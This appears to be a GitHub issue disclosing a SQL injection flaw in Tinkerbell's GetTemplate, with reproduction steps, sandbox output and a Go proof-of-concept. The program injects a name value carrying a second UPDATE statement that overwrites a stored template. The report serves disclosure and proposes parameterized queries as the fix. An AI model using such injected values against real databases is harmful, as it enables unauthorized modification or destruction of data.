trivial sql injection in GetTemplate

[mmlb]

Tink's template code does the unforgivable sin of concatenating strings to build up the query which leads to sql injection. hardware and workflow might be similarly affected though a tad more difficult (I think, due to json) but definitely worth looking into.

Expected Behaviour

calls to GetTemplate do not modify the database.

Current Behaviour

No validation is done to the Id or Name parameters in GetTemplates arguments, which can be easily crafted to drop data.

Possible Solution

Use postgres query parameters instead string concat.

Steps to Reproduce (for bugs)

1. Bring up sandbox
2. Compile the example program at the bottom of this issue
3. docker cp the statically built program from step 2 into tink-cli container
4. Run said program, see simlar output:

vagrant@ubuntu2004:/vagrant/compose$ docker cp ~/tink-sql-injection compose_tink-cli_1:/ && docker-compose exec tink-cli ./tink-sql-injection
===== before sql injection =====
id:89202fd1-643f-11ec-b9a0-0242ac120006
name:debian_Focal
data:version: "0.1"
name: debian_Focal
global_timeout: 1800
tasks:
  - name: "os-installation"
    worker: "{{.device_1}}"
    volumes:
      - /dev:/dev
      - /dev/console:/dev/console
      - /lib/firmware:/lib/firmware:ro
    actions:
      - name: "stream-ubuntu-image"
        image: image2disk:v1.0.0
        timeout: 600
        environment:
          DEST_DISK: /dev/vda
          IMG_URL: "http://192.168.56.4:8080/focal-server-cloudimg-amd64.raw.gz"
          COMPRESSED: true
      - name: "install-openssl"
        image: cexec:v1.0.0
        timeout: 90
        environment:
          BLOCK_DEVICE: /dev/vda1
          FS_TYPE: ext4
          CHROOT: y
          DEFAULT_INTERPRETER: "/bin/sh -c"
          CMD_LINE: "apt -y update && apt -y install openssl"
      - name: "create-user"
        image: cexec:v1.0.0
        timeout: 90
        environment:
          BLOCK_DEVICE: /dev/vda1
          FS_TYPE: ext4
          CHROOT: y
          DEFAULT_INTERPRETER: "/bin/sh -c"
          CMD_LINE: "useradd -p $(openssl passwd -1 tink) -s /bin/bash -d /home/tink/ -m -G sudo tink"
      - name: "enable-ssh"
        image: cexec:v1.0.0
        timeout: 90
        environment:
          BLOCK_DEVICE: /dev/vda1
          FS_TYPE: ext4
          CHROOT: y
          DEFAULT_INTERPRETER: "/bin/sh -c"
          CMD_LINE: "ssh-keygen -A; systemctl enable ssh.service; sed -i 's/^PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config"
      - name: "disable-apparmor"
        image: cexec:v1.0.0
        timeout: 90
        environment:
          BLOCK_DEVICE: /dev/vda1
          FS_TYPE: ext4
          CHROOT: y
          DEFAULT_INTERPRETER: "/bin/sh -c"
          CMD_LINE: "systemctl disable apparmor; systemctl disable snapd"
      - name: "write-netplan"
        image: writefile:v1.0.0
        timeout: 90
        environment:
          DEST_DISK: /dev/vda1
          FS_TYPE: ext4
          DEST_PATH: /etc/netplan/config.yaml
          CONTENTS: |
            network:
                version: 2
                renderer: networkd
                ethernets:
                    ens5:
                        dhcp4: true
                    ens6:
                        dhcp4: true
          UID: 0
          GID: 0
          MODE: 0644
          DIRMODE: 0755


if we query by name for >>>debian_Focal'; UPDATE template SET data = 'invalid' WHERE name = 'debian_Focal<<< the sql statement will look something like:

	SELECT id, name, data, created_at, updated_at
	FROM template
	WHERE
	name = 'debian_Focal'; UPDATE template SET data = 'invalid' WHERE name = 'debian_Focal' AND
	deleted_at IS NULL
	
===== after sql injection =====
id:89202fd1-643f-11ec-b9a0-0242ac120006
name:debian_Focal
data:invalid

Example code

package main

import (
	"context"
	"fmt"

	"github.com/packethost/pkg/log"
	"github.com/pkg/errors"
	"github.com/tinkerbell/tink/client"
	"github.com/tinkerbell/tink/protos/template"
)

func main() {
	l, err := log.Init("github.com/packethost/tink-sql-injection")
	if err != nil {
		panic(err)
	}
	defer l.Close()

	conn, err := client.GetConnection()
	if err != nil {
		l.Fatal(errors.Wrap(err, "failed to connect to real tink"))
	}

	c := client.NewFullClient(conn)
	ctx := context.Background()

	req := &template.GetRequest{
		GetBy: &template.GetRequest_Name{
			Name: "debian_Focal",
		},
	}
	var t *template.WorkflowTemplate

	t, err = c.TemplateClient.GetTemplate(ctx, req)
	if err != nil {
		l.Fatal(err)
	}

	fmt.Println("===== before sql injection =====")
	fmt.Printf("id:%s\nname:%s\ndata:%s\n", t.Id, t.Name, t.Data)

	name := "debian_Focal'; UPDATE template SET data = 'invalid' WHERE name = 'debian_Focal"
	getCondition := fmt.Sprintf("name = '%s'", name)
	query := `
	SELECT id, name, data, created_at, updated_at
	FROM template
	WHERE
	` + getCondition + ` AND
	deleted_at IS NULL
	`
	fmt.Printf("\nif we query by name for >>>%s<<< the sql statement will look something like:\n%s\n", name, query)
	_, err = c.TemplateClient.GetTemplate(ctx, &template.GetRequest{
		GetBy: &template.GetRequest_Name{
			Name: name,
		},
	})
	if err != nil {
		panic(err)
	}

	t, err = c.TemplateClient.GetTemplate(ctx, req)
	if err != nil {
		l.Fatal(err)
	}

	fmt.Println("===== after sql injection =====")
	fmt.Printf("id:%s\nname:%s\ndata:%s\n", t.Id, t.Name, t.Data)
}